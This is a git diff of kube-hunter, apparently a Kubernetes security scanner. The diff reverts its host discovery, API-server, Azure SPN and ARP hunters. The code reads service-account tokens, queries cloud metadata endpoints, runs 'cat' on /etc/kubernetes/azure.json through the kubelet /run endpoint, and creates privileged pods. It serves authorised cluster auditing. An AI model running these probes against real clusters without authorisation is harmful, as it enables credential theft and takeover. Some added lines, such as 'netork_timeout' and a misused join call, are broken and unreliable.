from kube_hunter.conf import config
from kube_hunter.core.events import handler
from kube_hunter.core.events.types import Event, OpenPortEvent, Service
from kube_hunter.core.types import Discovery
@@ -28,7 +28,6 @@ class KubeDashboard(Discovery):
@property
def secure(self):
config = get_config()
endpoint = f"http://{self.event.host}:{self.event.port}/api/v1/service/default"
logger.debug("Attempting to discover an Api server to access dashboard")
try:

View File

@@ -1,17 +1,17 @@
import os
import logging
import itertools
import requests
import itertools
from enum import Enum
from netaddr import IPNetwork, IPAddress, AddrFormatError
from netifaces import AF_INET, ifaddresses, interfaces, gateways
from netifaces import AF_INET, ifaddresses, interfaces
from scapy.all import ICMP, IP, Ether, srp1
from kube_hunter.conf import get_config
from kube_hunter.modules.discovery.kubernetes_client import list_all_k8s_cluster_nodes
from kube_hunter.conf import config
from kube_hunter.core.events import handler
from kube_hunter.core.events.types import Event, NewHostEvent, Vulnerability
from kube_hunter.core.types import Discovery, AWS, Azure, InstanceMetadataApiTechnique
from kube_hunter.core.types import Discovery, InformationDisclosure, Azure
logger = logging.getLogger(__name__)
@@ -19,17 +19,11 @@ logger = logging.getLogger(__name__)
class RunningAsPodEvent(Event):
def __init__(self):
self.name = "Running from within a pod"
self.auth_token = self.get_service_account_file("token")
self.client_cert = self.get_service_account_file("ca.crt")
self.namespace = self.get_service_account_file("namespace")
self.kubeservicehost = os.environ.get("KUBERNETES_SERVICE_HOST", None)
# if service account token was manually specified, we don't load the token file
config = get_config()
if config.service_account_token:
self.auth_token = config.service_account_token
else:
self.auth_token = self.get_service_account_file("token")
# Event's logical location to be used mainly for reports.
def location(self):
location = "Local to Pod"
@@ -43,38 +37,19 @@ class RunningAsPodEvent(Event):
try:
with open(f"/var/run/secrets/kubernetes.io/serviceaccount/{file}") as f:
return f.read()
except OSError:
except IOError:
pass
class AWSMetadataApi(Vulnerability, Event):
"""Access to the AWS Metadata API exposes information about the machines associated with the cluster"""
def __init__(self, cidr):
Vulnerability.__init__(
self,
AWS,
"AWS Metadata Exposure",
category=InstanceMetadataApiTechnique,
vid="KHV053",
)
self.cidr = cidr
self.evidence = f"cidr: {cidr}"
class AzureMetadataApi(Vulnerability, Event):
"""Access to the Azure Metadata API exposes information about the machines associated with the cluster"""
def __init__(self, cidr):
Vulnerability.__init__(
self,
Azure,
"Azure Metadata Exposure",
category=InstanceMetadataApiTechnique,
vid="KHV003",
self, Azure, "Azure Metadata Exposure", category=InformationDisclosure, vid="KHV003",
)
self.cidr = cidr
self.evidence = f"cidr: {cidr}"
self.evidence = "cidr: {}".format(cidr)
class HostScanEvent(Event):
@@ -120,24 +95,16 @@ class FromPodHostDiscovery(Discovery):
self.event = event
def execute(self):
config = get_config()
# Attempt to read all hosts from the Kubernetes API
for host in list_all_k8s_cluster_nodes(config.kubeconfig):
self.publish_event(NewHostEvent(host=host))
# Scan any hosts that the user specified
if config.remote or config.cidr:
self.publish_event(HostScanEvent())
else:
# Discover cluster subnets, we'll scan all these hosts
cloud, subnets = None, list()
cloud = None
if self.is_azure_pod():
subnets, cloud = self.azure_metadata_discovery()
elif self.is_aws_pod_v1():
subnets, cloud = self.aws_metadata_v1_discovery()
elif self.is_aws_pod_v2():
subnets, cloud = self.aws_metadata_v2_discovery()
subnets += self.gateway_discovery()
else:
subnets, ext_ip = self.traceroute_discovery()
should_scan_apiserver = False
if self.event.kubeservicehost:
@@ -151,48 +118,7 @@ class FromPodHostDiscovery(Discovery):
if should_scan_apiserver:
self.publish_event(NewHostEvent(host=IPAddress(self.event.kubeservicehost), cloud=cloud))
def is_aws_pod_v1(self):
config = get_config()
try:
# Instance Metadata Service v1
logger.debug("From pod attempting to access AWS Metadata v1 API")
if (
requests.get(
"http://169.254.169.254/latest/meta-data/",
timeout=config.network_timeout,
).status_code
== 200
):
return True
except requests.exceptions.ConnectionError:
logger.debug("Failed to connect AWS metadata server v1")
return False
def is_aws_pod_v2(self):
config = get_config()
try:
# Instance Metadata Service v2
logger.debug("From pod attempting to access AWS Metadata v2 API")
token = requests.put(
"http://169.254.169.254/latest/api/token/",
headers={"X-aws-ec2-metatadata-token-ttl-seconds": "21600"},
timeout=config.network_timeout,
).text
if (
requests.get(
"http://169.254.169.254/latest/meta-data/",
headers={"X-aws-ec2-metatadata-token": token},
timeout=config.network_timeout,
).status_code
== 200
):
return True
except requests.exceptions.ConnectionError:
logger.debug("Failed to connect AWS metadata server v2")
return False
def is_azure_pod(self):
config = get_config()
try:
logger.debug("From pod attempting to access Azure Metadata API")
if (
@@ -209,77 +135,17 @@ class FromPodHostDiscovery(Discovery):
return False
# for pod scanning
def gateway_discovery(self):
"""Retrieving default gateway of pod, which is usually also a contact point with the host"""
return [[gateways()["default"][AF_INET][0], "24"]]
def traceroute_discovery(self):
# getting external ip, to determine if cloud cluster
external_ip = requests.get("https://canhazip.com", timeout=config.network_timeout).text
# querying AWS's interface metadata api v1 | works only from a pod
def aws_metadata_v1_discovery(self):
config = get_config()
logger.debug("From pod attempting to access aws's metadata v1")
mac_address = requests.get(
"http://169.254.169.254/latest/meta-data/mac",
timeout=config.network_timeout,
).text
logger.debug(f"Extracted mac from aws's metadata v1: {mac_address}")
cidr = requests.get(
f"http://169.254.169.254/latest/meta-data/network/interfaces/macs/{mac_address}/subnet-ipv4-cidr-block",
timeout=config.network_timeout,
).text
logger.debug(f"Trying to extract cidr from aws's metadata v1: {cidr}")
try:
cidr = cidr.split("/")
address, subnet = (cidr[0], cidr[1])
subnet = subnet if not config.quick else "24"
cidr = f"{address}/{subnet}"
logger.debug(f"From pod discovered subnet {cidr}")
self.publish_event(AWSMetadataApi(cidr=cidr))
return [(address, subnet)], "AWS"
except Exception as x:
logger.debug(f"ERROR: could not parse cidr from aws metadata api: {cidr} - {x}")
return [], "AWS"
# querying AWS's interface metadata api v2 | works only from a pod
def aws_metadata_v2_discovery(self):
config = get_config()
logger.debug("From pod attempting to access aws's metadata v2")
token = requests.get(
"http://169.254.169.254/latest/api/token",
headers={"X-aws-ec2-metatadata-token-ttl-seconds": "21600"},
timeout=config.network_timeout,
).text
mac_address = requests.get(
"http://169.254.169.254/latest/meta-data/mac",
headers={"X-aws-ec2-metatadata-token": token},
timeout=config.network_timeout,
).text
cidr = requests.get(
f"http://169.254.169.254/latest/meta-data/network/interfaces/macs/{mac_address}/subnet-ipv4-cidr-block",
headers={"X-aws-ec2-metatadata-token": token},
timeout=config.network_timeout,
).text.split("/")
try:
address, subnet = (cidr[0], cidr[1])
subnet = subnet if not config.quick else "24"
cidr = f"{address}/{subnet}"
logger.debug(f"From pod discovered subnet {cidr}")
self.publish_event(AWSMetadataApi(cidr=cidr))
return [(address, subnet)], "AWS"
except Exception as x:
logger.debug(f"ERROR: could not parse cidr from aws metadata api: {cidr} - {x}")
return [], "AWS"
node_internal_ip = srp1(
Ether() / IP(dst="1.1.1.1", ttl=1) / ICMP(), verbose=0, timeout=config.network_timeout,
)[IP].src
return [[node_internal_ip, "24"]], external_ip
# querying azure's interface metadata api | works only from a pod
def azure_metadata_discovery(self):
config = get_config()
logger.debug("From pod attempting to access azure's metadata")
machine_metadata = requests.get(
"http://169.254.169.254/metadata/instance?api-version=2017-08-01",
@@ -312,7 +178,6 @@ class HostDiscovery(Discovery):
self.event = event
def execute(self):
config = get_config()
if config.cidr:
for ip in HostDiscoveryHelpers.generate_hosts(config.cidr):
self.publish_event(NewHostEvent(host=ip))
@@ -321,9 +186,6 @@ class HostDiscovery(Discovery):
elif len(config.remote) > 0:
for host in config.remote:
self.publish_event(NewHostEvent(host=host))
elif config.k8s_auto_discover_nodes:
for host in list_all_k8s_cluster_nodes(config.kubeconfig):
self.publish_event(NewHostEvent(host=host))
# for normal scanning
def scan_interfaces(self):

View File

@@ -3,7 +3,7 @@ import requests
import urllib3
from enum import Enum
from kube_hunter.conf import get_config
from kube_hunter.conf import config
from kube_hunter.core.types import Discovery
from kube_hunter.core.events import handler
from kube_hunter.core.events.types import OpenPortEvent, Event, Service
@@ -47,7 +47,6 @@ class KubeletDiscovery(Discovery):
self.event = event
def get_read_only_access(self):
config = get_config()
endpoint = f"http://{self.event.host}:{self.event.port}/pods"
logger.debug(f"Trying to get kubelet read access at {endpoint}")
r = requests.get(endpoint, timeout=config.network_timeout)
@@ -65,7 +64,6 @@ class KubeletDiscovery(Discovery):
self.publish_event(SecureKubeletEvent(secure=True, anonymous_auth=False))
def ping_kubelet(self):
config = get_config()
endpoint = f"https://{self.event.host}:{self.event.port}/pods"
logger.debug("Attempting to get pods info from kubelet")
try:

View File

@@ -1,27 +0,0 @@
import logging
import kubernetes
def list_all_k8s_cluster_nodes(kube_config=None, client=None):
logger = logging.getLogger(__name__)
try:
if kube_config:
logger.debug("Attempting to use kubeconfig file: %s", kube_config)
kubernetes.config.load_kube_config(config_file=kube_config)
else:
logger.debug("Attempting to use in cluster Kubernetes config")
kubernetes.config.load_incluster_config()
except kubernetes.config.config_exception.ConfigException as ex:
logger.debug(f"Failed to initiate Kubernetes client: {ex}")
return
try:
if client is None:
client = kubernetes.client.CoreV1Api()
ret = client.list_node(watch=False)
logger.info("Listed %d nodes in the cluster" % len(ret.items))
for item in ret.items:
for addr in item.status.addresses:
yield addr.address
except Exception as ex:
logger.debug(f"Failed to list nodes from Kubernetes: {ex}")

View File

@@ -1,7 +1,7 @@
import logging
import requests
from kube_hunter.conf import get_config
from kube_hunter.conf import config
from kube_hunter.core.types import Discovery
from kube_hunter.core.events import handler
from kube_hunter.core.events.types import Service, Event, OpenPortEvent
@@ -29,7 +29,6 @@ class KubeProxy(Discovery):
@property
def accesible(self):
config = get_config()
endpoint = f"http://{self.host}:{self.port}/api/v1"
logger.debug("Attempting to discover a proxy service")
try:

View File

@@ -1,4 +1,3 @@
# flake8: noqa: E402
from . import (
aks,
apiserver,
@@ -14,3 +13,19 @@ from . import (
proxy,
secrets,
)
__all__ = [
aks,
apiserver,
arp,
capabilities,
certificates,
cves,
dashboard,
dns,
etcd,
kubelet,
mounts,
proxy,
secrets,
]

View File

@@ -1,13 +1,12 @@
import os
import json
import logging
import requests
from kube_hunter.conf import get_config
from kube_hunter.modules.hunting.kubelet import ExposedPodsHandler, SecureKubeletPortHunter
from kube_hunter.conf import config
from kube_hunter.modules.hunting.kubelet import ExposedRunHandler
from kube_hunter.core.events import handler
from kube_hunter.core.events.types import Event, Vulnerability
from kube_hunter.core.types import Hunter, ActiveHunter, MountServicePrincipalTechnique, Azure
from kube_hunter.core.types import Hunter, ActiveHunter, IdentityTheft, Azure
logger = logging.getLogger(__name__)
@@ -15,19 +14,14 @@ logger = logging.getLogger(__name__)
class AzureSpnExposure(Vulnerability, Event):
"""The SPN is exposed, potentially allowing an attacker to gain access to the Azure subscription"""
def __init__(self, container, evidence=""):
def __init__(self, container):
Vulnerability.__init__(
self,
Azure,
"Azure SPN Exposure",
category=MountServicePrincipalTechnique,
vid="KHV004",
self, Azure, "Azure SPN Exposure", category=IdentityTheft, vid="KHV004",
)
self.container = container
self.evidence = evidence
@handler.subscribe(ExposedPodsHandler, predicate=lambda x: x.cloud_type == "Azure")
@handler.subscribe(ExposedRunHandler, predicate=lambda x: x.cloud == "Azure")
class AzureSpnHunter(Hunter):
"""AKS Hunting
Hunting Azure cluster deployments using specific known configurations
@@ -39,33 +33,29 @@ class AzureSpnHunter(Hunter):
# getting a container that has access to the azure.json file
def get_key_container(self):
endpoint = f"{self.base_url}/pods"
logger.debug("Trying to find container with access to azure.json file")
# pods are saved in the previous event object
pods_data = self.event.pods
suspicious_volume_names = []
for pod_data in pods_data:
for volume in pod_data["spec"].get("volumes", []):
if volume.get("hostPath"):
path = volume["hostPath"]["path"]
if "/etc/kubernetes/azure.json".startswith(path):
suspicious_volume_names.append(volume["name"])
for container in pod_data["spec"]["containers"]:
for mount in container.get("volumeMounts", []):
if mount["name"] in suspicious_volume_names:
return {
"name": container["name"],
"pod": pod_data["metadata"]["name"],
"namespace": pod_data["metadata"]["namespace"],
"mount": mount,
}
try:
r = requests.get(endpoint, verify=False, timeout=config.network_timeout)
except requests.Timeout:
logger.debug("failed getting pod info")
else:
pods_data = r.json().get("items", [])
for pod_data in pods_data:
for container in pod_data["spec"]["containers"]:
for mount in container["volumeMounts"]:
path = mount["mountPath"]
if "/etc/kubernetes/azure.json".startswith(path):
return {
"name": container["name"],
"pod": pod_data["metadata"]["name"],
"namespace": pod_data["metadata"]["namespace"],
}
def execute(self):
container = self.get_key_container()
if container:
evidence = f"pod: {container['pod']}, namespace: {container['namespace']}"
self.publish_event(AzureSpnExposure(container=container, evidence=evidence))
self.publish_event(AzureSpnExposure(container=container))
@handler.subscribe(AzureSpnExposure)
@@ -78,42 +68,13 @@ class ProveAzureSpnExposure(ActiveHunter):
self.event = event
self.base_url = f"https://{self.event.host}:{self.event.port}"
def test_run_capability(self):
"""
Uses SecureKubeletPortHunter to test the /run handler
TODO: when multiple event subscription is implemented, use this here to make sure /run is accessible
"""
debug_handlers = SecureKubeletPortHunter.DebugHandlers(path=self.base_url, session=self.event.session, pod=None)
return debug_handlers.test_run_container()
def run(self, command, container):
config = get_config()
run_url = f"{self.base_url}/run/{container['namespace']}/{container['pod']}/{container['name']}"
return self.event.session.post(run_url, verify=False, params={"cmd": command}, timeout=config.network_timeout)
def get_full_path_to_azure_file(self):
"""
Returns a full path to /etc/kubernetes/azure.json
Taking into consideration the difference folder of the mount inside the container.
TODO: implement the edge case where the mount is to parent /etc folder.
"""
azure_file_path = self.event.container["mount"]["mountPath"]
# taking care of cases where a subPath is added to map the specific file
if not azure_file_path.endswith("azure.json"):
azure_file_path = os.path.join(azure_file_path, "azure.json")
return azure_file_path
run_url = "/".join(self.base_url, "run", container["namespace"], container["pod"], container["name"])
return requests.post(run_url, verify=False, params={"cmd": command}, timeout=config.network_timeout)
def execute(self):
if not self.test_run_capability():
logger.debug("Not proving AzureSpnExposure because /run debug handler is disabled")
return
try:
azure_file_path = self.get_full_path_to_azure_file()
logger.debug(f"trying to access the azure.json at the resolved path: {azure_file_path}")
subscription = self.run(f"cat {azure_file_path}", container=self.event.container).json()
subscription = self.run("cat /etc/kubernetes/azure.json", container=self.event.container).json()
except requests.Timeout:
logger.debug("failed to run command in container", exc_info=True)
except json.decoder.JSONDecodeError:

View File

@@ -1,22 +1,17 @@
import logging
import json
import uuid
import requests
import uuid
from kube_hunter.conf import get_config
from kube_hunter.conf import config
from kube_hunter.modules.discovery.apiserver import ApiServer
from kube_hunter.core.events import handler
from kube_hunter.core.events.types import Vulnerability, Event, K8sVersionDisclosure
from kube_hunter.core.types import Hunter, ActiveHunter, KubernetesCluster
from kube_hunter.core.types.vulnerabilities import (
AccessK8sApiServerTechnique,
ExposedSensitiveInterfacesTechnique,
GeneralDefenseEvasionTechnique,
DataDestructionTechnique,
ClusterAdminBindingTechnique,
NewContainerTechnique,
PrivilegedContainerTechnique,
SidecarInjectionTechnique,
from kube_hunter.core.types import (
AccessRisk,
InformationDisclosure,
UnauthenticatedAccess,
)
logger = logging.getLogger(__name__)
@@ -29,16 +24,12 @@ class ServerApiAccess(Vulnerability, Event):
def __init__(self, evidence, using_token):
if using_token:
name = "Access to API using service account token"
category = AccessK8sApiServerTechnique
category = InformationDisclosure
else:
name = "Unauthenticated access to API"
category = ExposedSensitiveInterfacesTechnique
category = UnauthenticatedAccess
Vulnerability.__init__(
self,
KubernetesCluster,
name=name,
category=category,
vid="KHV005",
self, KubernetesCluster, name=name, category=category, vid="KHV005",
)
self.evidence = evidence
@@ -49,59 +40,48 @@ class ServerApiHTTPAccess(Vulnerability, Event):
def __init__(self, evidence):
name = "Insecure (HTTP) access to API"
category = ExposedSensitiveInterfacesTechnique
category = UnauthenticatedAccess
Vulnerability.__init__(
self,
KubernetesCluster,
name=name,
category=category,
vid="KHV006",
self, KubernetesCluster, name=name, category=category, vid="KHV006",
)
self.evidence = evidence
class ApiInfoDisclosure(Vulnerability, Event):
"""Information Disclosure depending upon RBAC permissions and Kube-Cluster Setup"""
def __init__(self, evidence, using_token, name):
category = AccessK8sApiServerTechnique
if using_token:
name += " using default service account token"
name += " using service account token"
else:
name += " as anonymous user"
Vulnerability.__init__(
self,
KubernetesCluster,
name=name,
category=category,
vid="KHV007",
self, KubernetesCluster, name=name, category=InformationDisclosure, vid="KHV007",
)
self.evidence = evidence
class ListPodsAndNamespaces(ApiInfoDisclosure):
"""Accessing pods might give an attacker valuable information"""
""" Accessing pods might give an attacker valuable information"""
def __init__(self, evidence, using_token):
ApiInfoDisclosure.__init__(self, evidence, using_token, "Listing pods")
class ListNamespaces(ApiInfoDisclosure):
"""Accessing namespaces might give an attacker valuable information"""
""" Accessing namespaces might give an attacker valuable information """
def __init__(self, evidence, using_token):
ApiInfoDisclosure.__init__(self, evidence, using_token, "Listing namespaces")
class ListRoles(ApiInfoDisclosure):
"""Accessing roles might give an attacker valuable information"""
""" Accessing roles might give an attacker valuable information """
def __init__(self, evidence, using_token):
ApiInfoDisclosure.__init__(self, evidence, using_token, "Listing roles")
class ListClusterRoles(ApiInfoDisclosure):
"""Accessing cluster roles might give an attacker valuable information"""
""" Accessing cluster roles might give an attacker valuable information """
def __init__(self, evidence, using_token):
ApiInfoDisclosure.__init__(self, evidence, using_token, "Listing cluster roles")
@@ -109,161 +89,129 @@ class ListClusterRoles(ApiInfoDisclosure):
class CreateANamespace(Vulnerability, Event):
"""Creating a namespace might give an attacker an area with default (exploitable) permissions to run pods in."""
""" Creating a namespace might give an attacker an area with default (exploitable) permissions to run pods in.
"""
def __init__(self, evidence):
Vulnerability.__init__(
self,
KubernetesCluster,
name="Created a namespace",
category=GeneralDefenseEvasionTechnique,
self, KubernetesCluster, name="Created a namespace", category=AccessRisk,
)
self.evidence = evidence
class DeleteANamespace(Vulnerability, Event):
"""Deleting a namespace might give an attacker the option to affect application behavior"""
""" Deleting a namespace might give an attacker the option to affect application behavior """
def __init__(self, evidence):
Vulnerability.__init__(
self,
KubernetesCluster,
name="Delete a namespace",
category=DataDestructionTechnique,
self, KubernetesCluster, name="Delete a namespace", category=AccessRisk,
)
self.evidence = evidence
class CreateARole(Vulnerability, Event):
"""Creating a role might give an attacker the option to harm the normal behavior of newly created pods
within the specified namespaces.
""" Creating a role might give an attacker the option to harm the normal behavior of newly created pods
within the specified namespaces.
"""
def __init__(self, evidence):
Vulnerability.__init__(self, KubernetesCluster, name="Created a role", category=GeneralDefenseEvasionTechnique)
Vulnerability.__init__(self, KubernetesCluster, name="Created a role", category=AccessRisk)
self.evidence = evidence
class CreateAClusterRole(Vulnerability, Event):
"""Creating a cluster role might give an attacker the option to harm the normal behavior of newly created pods
across the whole cluster
""" Creating a cluster role might give an attacker the option to harm the normal behavior of newly created pods
across the whole cluster
"""
def __init__(self, evidence):
Vulnerability.__init__(
self,
KubernetesCluster,
name="Created a cluster role",
category=ClusterAdminBindingTechnique,
self, KubernetesCluster, name="Created a cluster role", category=AccessRisk,
)
self.evidence = evidence
class PatchARole(Vulnerability, Event):
"""Patching a role might give an attacker the option to create new pods with custom roles within the
""" Patching a role might give an attacker the option to create new pods with custom roles within the
specific role's namespace scope
"""
def __init__(self, evidence):
Vulnerability.__init__(
self,
KubernetesCluster,
name="Patched a role",
category=ClusterAdminBindingTechnique,
self, KubernetesCluster, name="Patched a role", category=AccessRisk,
)
self.evidence = evidence
class PatchAClusterRole(Vulnerability, Event):
"""Patching a cluster role might give an attacker the option to create new pods with custom roles within the whole
""" Patching a cluster role might give an attacker the option to create new pods with custom roles within the whole
cluster scope.
"""
def __init__(self, evidence):
Vulnerability.__init__(
self,
KubernetesCluster,
name="Patched a cluster role",
category=ClusterAdminBindingTechnique,
self, KubernetesCluster, name="Patched a cluster role", category=AccessRisk,
)
self.evidence = evidence
class DeleteARole(Vulnerability, Event):
"""Deleting a role might allow an attacker to affect access to resources in the namespace"""
""" Deleting a role might allow an attacker to affect access to resources in the namespace"""
def __init__(self, evidence):
Vulnerability.__init__(
self,
KubernetesCluster,
name="Deleted a role",
category=DataDestructionTechnique,
self, KubernetesCluster, name="Deleted a role", category=AccessRisk,
)
self.evidence = evidence
class DeleteAClusterRole(Vulnerability, Event):
"""Deleting a cluster role might allow an attacker to affect access to resources in the cluster"""
""" Deleting a cluster role might allow an attacker to affect access to resources in the cluster"""
def __init__(self, evidence):
Vulnerability.__init__(
self,
KubernetesCluster,
name="Deleted a cluster role",
category=DataDestructionTechnique,
self, KubernetesCluster, name="Deleted a cluster role", category=AccessRisk,
)
self.evidence = evidence
class CreateAPod(Vulnerability, Event):
"""Creating a new pod allows an attacker to run custom code"""
""" Creating a new pod allows an attacker to run custom code"""
def __init__(self, evidence):
Vulnerability.__init__(
self,
KubernetesCluster,
name="Created A Pod",
category=NewContainerTechnique,
self, KubernetesCluster, name="Created A Pod", category=AccessRisk,
)
self.evidence = evidence
class CreateAPrivilegedPod(Vulnerability, Event):
"""Creating a new PRIVILEGED pod would gain an attacker FULL CONTROL over the cluster"""
""" Creating a new PRIVILEGED pod would gain an attacker FULL CONTROL over the cluster"""
def __init__(self, evidence):
Vulnerability.__init__(
self,
KubernetesCluster,
name="Created A PRIVILEGED Pod",
category=PrivilegedContainerTechnique,
self, KubernetesCluster, name="Created A PRIVILEGED Pod", category=AccessRisk,
)
self.evidence = evidence
class PatchAPod(Vulnerability, Event):
"""Patching a pod allows an attacker to compromise and control it"""
""" Patching a pod allows an attacker to compromise and control it """
def __init__(self, evidence):
Vulnerability.__init__(
self,
KubernetesCluster,
name="Patched A Pod",
category=SidecarInjectionTechnique,
self, KubernetesCluster, name="Patched A Pod", category=AccessRisk,
)
self.evidence = evidence
class DeleteAPod(Vulnerability, Event):
"""Deleting a pod allows an attacker to disturb applications on the cluster"""
""" Deleting a pod allows an attacker to disturb applications on the cluster """
def __init__(self, evidence):
Vulnerability.__init__(
self,
KubernetesCluster,
name="Deleted A Pod",
category=DataDestructionTechnique,
self, KubernetesCluster, name="Deleted A Pod", category=AccessRisk,
)
self.evidence = evidence
@@ -277,7 +225,7 @@ class ApiServerPassiveHunterFinished(Event):
# If we have a service account token we'll also trigger AccessApiServerWithToken below
@handler.subscribe(ApiServer)
class AccessApiServer(Hunter):
"""API Server Hunter
""" API Server Hunter
Checks if API server is accessible
"""
@@ -288,7 +236,6 @@ class AccessApiServer(Hunter):
self.with_token = False
def access_api_server(self):
config = get_config()
logger.debug(f"Passive Hunter is attempting to access the API at {self.path}")
try:
r = requests.get(f"{self.path}/api", headers=self.headers, verify=False, timeout=config.network_timeout)
@@ -299,7 +246,6 @@ class AccessApiServer(Hunter):
return False
def get_items(self, path):
config = get_config()
try:
items = []
r = requests.get(path, headers=self.headers, verify=False, timeout=config.network_timeout)
@@ -315,15 +261,11 @@ class AccessApiServer(Hunter):
return None
def get_pods(self, namespace=None):
config = get_config()
pods = []
try:
if not namespace:
r = requests.get(
f"{self.path}/api/v1/pods",
headers=self.headers,
verify=False,
timeout=config.network_timeout,
f"{self.path}/api/v1/pods", headers=self.headers, verify=False, timeout=config.network_timeout,
)
else:
r = requests.get(
@@ -351,7 +293,7 @@ class AccessApiServer(Hunter):
else:
self.publish_event(ServerApiAccess(api, self.with_token))
namespaces = self.get_items(f"{self.path}/api/v1/namespaces")
namespaces = self.get_items("{path}/api/v1/namespaces".format(path=self.path))
if namespaces:
self.publish_event(ListNamespaces(namespaces, self.with_token))
@@ -374,15 +316,15 @@ class AccessApiServer(Hunter):
@handler.subscribe(ApiServer, predicate=lambda x: x.auth_token)
class AccessApiServerWithToken(AccessApiServer):
"""API Server Hunter
""" API Server Hunter
Accessing the API server using the service account token obtained from a compromised pod
"""
def __init__(self, event):
super().__init__(event)
super(AccessApiServerWithToken, self).__init__(event)
assert self.event.auth_token
self.headers = {"Authorization": f"Bearer {self.event.auth_token}"}
self.category = AccessK8sApiServerTechnique
self.category = InformationDisclosure
self.with_token = True
@@ -398,7 +340,6 @@ class AccessApiServerActive(ActiveHunter):
self.path = f"{self.event.protocol}://{self.event.host}:{self.event.port}"
def create_item(self, path, data):
config = get_config()
headers = {"Content-Type": "application/json"}
if self.event.auth_token:
headers["Authorization"] = f"Bearer {self.event.auth_token}"
@@ -413,7 +354,6 @@ class AccessApiServerActive(ActiveHunter):
return None
def patch_item(self, path, data):
config = get_config()
headers = {"Content-Type": "application/json-patch+json"}
if self.event.auth_token:
headers["Authorization"] = f"Bearer {self.event.auth_token}"
@@ -429,7 +369,6 @@ class AccessApiServerActive(ActiveHunter):
return None
def delete_item(self, path):
config = get_config()
headers = {}
if self.event.auth_token:
headers["Authorization"] = f"Bearer {self.event.auth_token}"
@@ -466,8 +405,7 @@ class AccessApiServerActive(ActiveHunter):
def patch_a_pod(self, namespace, pod_name):
data = [{"op": "add", "path": "/hello", "value": ["world"]}]
return self.patch_item(
path=f"{self.path}/api/v1/namespaces/{namespace}/pods/{pod_name}",
data=json.dumps(data),
path=f"{self.path}/api/v1/namespaces/{namespace}/pods/{pod_name}", data=json.dumps(data),
)
def create_namespace(self):
@@ -494,8 +432,7 @@ class AccessApiServerActive(ActiveHunter):
"rules": [{"apiGroups": [""], "resources": ["pods"], "verbs": ["get", "watch", "list"]}],
}
return self.create_item(
path=f"{self.path}/apis/rbac.authorization.k8s.io/v1/namespaces/{namespace}/roles",
data=json.dumps(role),
path=f"{self.path}/apis/rbac.authorization.k8s.io/v1/namespaces/{namespace}/roles", data=json.dumps(role),
)
def create_a_cluster_role(self):
@@ -507,8 +444,7 @@ class AccessApiServerActive(ActiveHunter):
"rules": [{"apiGroups": [""], "resources": ["pods"], "verbs": ["get", "watch", "list"]}],
}
return self.create_item(
path=f"{self.path}/apis/rbac.authorization.k8s.io/v1/clusterroles",
data=json.dumps(cluster_role),
path=f"{self.path}/apis/rbac.authorization.k8s.io/v1/clusterroles", data=json.dumps(cluster_role),
)
def delete_a_role(self, namespace, name):
@@ -535,8 +471,7 @@ class AccessApiServerActive(ActiveHunter):
def patch_a_cluster_role(self, cluster_role):
data = [{"op": "add", "path": "/hello", "value": ["world"]}]
return self.patch_item(
path=f"{self.path}/apis/rbac.authorization.k8s.io/v1/clusterroles/{cluster_role}",
data=json.dumps(data),
path=f"{self.path}/apis/rbac.authorization.k8s.io/v1/clusterroles/{cluster_role}", data=json.dumps(data),
)
def execute(self):
@@ -635,7 +570,6 @@ class ApiVersionHunter(Hunter):
self.session.headers.update({"Authorization": f"Bearer {self.event.auth_token}"})
def execute(self):
config = get_config()
if self.event.auth_token:
logger.debug(
"Trying to access the API server version endpoint using pod's"

View File

@@ -2,10 +2,10 @@ import logging
from scapy.all import ARP, IP, ICMP, Ether, sr1, srp
from kube_hunter.conf import get_config
from kube_hunter.conf import config
from kube_hunter.core.events import handler
from kube_hunter.core.events.types import Event, Vulnerability
from kube_hunter.core.types import ActiveHunter, KubernetesCluster, ARPPoisoningTechnique
from kube_hunter.core.types import ActiveHunter, KubernetesCluster, IdentityTheft
from kube_hunter.modules.hunting.capabilities import CapNetRawEnabled
logger = logging.getLogger(__name__)
@@ -17,11 +17,7 @@ class PossibleArpSpoofing(Vulnerability, Event):
def __init__(self):
Vulnerability.__init__(
self,
KubernetesCluster,
"Possible Arp Spoof",
category=ARPPoisoningTechnique,
vid="KHV020",
self, KubernetesCluster, "Possible Arp Spoof", category=IdentityTheft, vid="KHV020",
)
@@ -36,14 +32,13 @@ class ArpSpoofHunter(ActiveHunter):
self.event = event
def try_getting_mac(self, ip):
config = get_config()
ans = sr1(ARP(op=1, pdst=ip), timeout=config.network_timeout, verbose=0)
return ans[ARP].hwsrc if ans else None
def detect_l3_on_host(self, arp_responses):
"""returns True for an existence of an L3 network plugin"""
""" returns True for an existence of an L3 network plugin """
logger.debug("Attempting to detect L3 network plugin using ARP")
unique_macs = list({response[ARP].hwsrc for _, response in arp_responses})
unique_macs = list(set(response[ARP].hwsrc for _, response in arp_responses))
# if LAN addresses not unique
if len(unique_macs) == 1:
@@ -56,12 +51,9 @@ class ArpSpoofHunter(ActiveHunter):
return False
def execute(self):
config = get_config()
self_ip = sr1(IP(dst="1.1.1.1", ttl=1) / ICMP(), verbose=0, timeout=config.network_timeout)[IP].dst
arp_responses, _ = srp(
Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst=f"{self_ip}/24"),
timeout=config.network_timeout,
verbose=0,
Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst=f"{self_ip}/24"), timeout=config.netork_timeout, verbose=0,
)
# arp enabled on cluster and more than one pod on node

View File

@@ -4,7 +4,7 @@ import logging
from kube_hunter.modules.discovery.hosts import RunningAsPodEvent
from kube_hunter.core.events import handler
from kube_hunter.core.events.types import Event, Vulnerability
from kube_hunter.core.types import Hunter, ARPPoisoningTechnique, KubernetesCluster
from kube_hunter.core.types import Hunter, AccessRisk, KubernetesCluster
logger = logging.getLogger(__name__)
@@ -17,10 +17,7 @@ class CapNetRawEnabled(Event, Vulnerability):
def __init__(self):
Vulnerability.__init__(
self,
KubernetesCluster,
name="CAP_NET_RAW Enabled",
category=ARPPoisoningTechnique,
self, KubernetesCluster, name="CAP_NET_RAW Enabled", category=AccessRisk,
)

View File

@@ -3,29 +3,23 @@ import logging
import base64
import re
from kube_hunter.core.types import Hunter, KubernetesCluster, GeneralSensitiveInformationTechnique
from kube_hunter.core.types import Hunter, KubernetesCluster, InformationDisclosure
from kube_hunter.core.events import handler
from kube_hunter.core.events.types import Vulnerability, Event, Service
logger = logging.getLogger(__name__)
email_pattern = re.compile(rb"([a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+)")
email_pattern = re.compile(r"([a-z0-9]+@[a-z0-9]+\.[a-z0-9]+)")
class CertificateEmail(Vulnerability, Event):
"""The Kubernetes API Server advertises a public certificate for TLS.
